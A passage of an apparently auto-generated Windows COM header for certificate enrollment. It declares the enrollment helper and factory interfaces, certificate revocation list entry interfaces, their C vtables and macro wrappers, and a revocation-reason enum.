[retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentHelperVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentHelper * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentHelper * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentHelper * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddPolicyServer )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddEnrollmentServer )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerURI,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strTemplateName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ WebEnrollmentFlags enrollFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        END_INTERFACE\n    } IX509EnrollmentHelperVtbl;\n\n    interface IX509EnrollmentHelper\n    {\n        CONST_VTBL struct IX509EnrollmentHelperVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentHelper_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentHelper_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentHelper_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentHelper_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentHelper_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentHelper_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentHelper_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentHelper_AddPolicyServer(This,strEnrollmentPolicyServerURI,strEnrollmentPolicyID,EnrollmentPolicyServerFlags,authFlags,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> AddPolicyServer(This,strEnrollmentPolicyServerURI,strEnrollmentPolicyID,EnrollmentPolicyServerFlags,authFlags,strCredential,strPassword) ) \n\n#define IX509EnrollmentHelper_AddEnrollmentServer(This,strEnrollmentServerURI,authFlags,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> AddEnrollmentServer(This,strEnrollmentServerURI,authFlags,strCredential,strPassword) ) \n\n#define IX509EnrollmentHelper_Enroll(This,strEnrollmentPolicyServerURI,strTemplateName,Encoding,enrollFlags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> Enroll(This,strEnrollmentPolicyServerURI,strTemplateName,Encoding,enrollFlags,pstrCertificate) ) \n\n#define IX509EnrollmentHelper_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentHelper_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__\n#define __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentWebClassFactory */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentWebClassFactory;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab349-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentWebClassFactory : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateObject( \n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IUnknown **ppIUnknown) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentWebClassFactoryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentWebClassFactory * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentWebClassFactory * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentWebClassFactory * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateObject )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IUnknown **ppIUnknown);\n        \n        END_INTERFACE\n    } IX509EnrollmentWebClassFactoryVtbl;\n\n    interface IX509EnrollmentWebClassFactory\n    {\n        CONST_VTBL struct IX509EnrollmentWebClassFactoryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentWebClassFactory_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentWebClassFactory_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentWebClassFactory_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentWebClassFactory_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentWebClassFactory_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentWebClassFactory_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentWebClassFactory_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentWebClassFactory_CreateObject(This,strProgID,ppIUnknown)\t\\\n    ( (This)->lpVtbl -> CreateObject(This,strProgID,ppIUnknown) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__\n#define __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__\n\n/* interface IX509MachineEnrollmentFactory */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509MachineEnrollmentFactory;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab352-217d-11da-b2a4-000e7bbb2b09\")\n    IX509MachineEnrollmentFactory : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateObject( \n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentHelper **ppIHelper) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509MachineEnrollmentFactoryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509MachineEnrollmentFactory * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509MachineEnrollmentFactory * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509MachineEnrollmentFactory * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateObject )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentHelper **ppIHelper);\n        \n        END_INTERFACE\n    } IX509MachineEnrollmentFactoryVtbl;\n\n    interface IX509MachineEnrollmentFactory\n    {\n        CONST_VTBL struct IX509MachineEnrollmentFactoryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509MachineEnrollmentFactory_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509MachineEnrollmentFactory_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509MachineEnrollmentFactory_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509MachineEnrollmentFactory_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509MachineEnrollmentFactory_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509MachineEnrollmentFactory_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509MachineEnrollmentFactory_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509MachineEnrollmentFactory_CreateObject(This,strProgID,ppIHelper)\t\\\n    ( (This)->lpVtbl -> CreateObject(This,strProgID,ppIHelper) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0091 */\n/* [local] */ \n\ntypedef \nenum CRLRevocationReason\n    {\n        XCN_CRL_REASON_UNSPECIFIED\t= 0,\n        XCN_CRL_REASON_KEY_COMPROMISE\t= 1,\n        XCN_CRL_REASON_CA_COMPROMISE\t= 2,\n        XCN_CRL_REASON_AFFILIATION_CHANGED\t= 3,\n        XCN_CRL_REASON_SUPERSEDED\t= 4,\n        XCN_CRL_REASON_CESSATION_OF_OPERATION\t= 5,\n        XCN_CRL_REASON_CERTIFICATE_HOLD\t= 6,\n        XCN_CRL_REASON_REMOVE_FROM_CRL\t= 8,\n        XCN_CRL_REASON_PRIVILEGE_WITHDRAWN\t= 9,\n        XCN_CRL_REASON_AA_COMPROMISE\t= 10\n    } \tCRLRevocationReason;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0091_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0091_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRevocationListEntry_INTERFACE_DEFINED__\n#define __IX509CertificateRevocationListEntry_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRevocationListEntry */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRevocationListEntry;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35e-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRevocationListEntry : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [in] */ DATE RevocationDate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RevocationDate( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RevocationReason( \n            /* [retval][out] */ __RPC__out CRLRevocationReason *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_RevocationReason( \n            /* [in] */ CRLRevocationReason Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRevocationListEntryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRevocationListEntry * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRevocationListEntry * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRevocationListEntry * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [in] */ DATE RevocationDate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RevocationDate )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RevocationReason )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__out CRLRevocationReason *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RevocationReason )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [in] */ CRLRevocationReason Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRevocationListEntry * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateRevocationListEntryVtbl;\n\n    interface IX509CertificateRevocationListEntry\n    {\n        CONST_VTBL struct IX509CertificateRevocationListEntryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRevocationListEntry_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRevocationListEntry_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRevocationListEntry_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRevocationListEntry_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRevocationListEntry_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRevocationListEntry_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRevocationListEntry_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRevocationListEntry_Initialize(This,Encoding,SerialNumber,RevocationDate)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,SerialNumber,RevocationDate) ) \n\n#define IX509CertificateRevocationListEntry_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationListEntry_get_RevocationDate(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RevocationDate(This,pValue) ) \n\n#define IX509CertificateRevocationListEntry_get_RevocationReason(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RevocationReason(This,pValue) ) \n\n#define IX509CertificateRevocationListEntry_put_RevocationReason(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RevocationReason(This,Value) ) \n\n#define IX509CertificateRevocationListEntry_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRevocationListEntry_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRevocationListEntry_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationListEntries_INTERFACE_DEFINED__\n#define __IX509CertificateRevocationListEntries_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRevocationListEntries */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRevocationListEntries;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRevocationListEntries : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntry **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntry *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexBySerialNumber( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntries *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRevocationListEntriesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRevocationListEntries * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRevocationListEntries * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRevocationListEntries * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            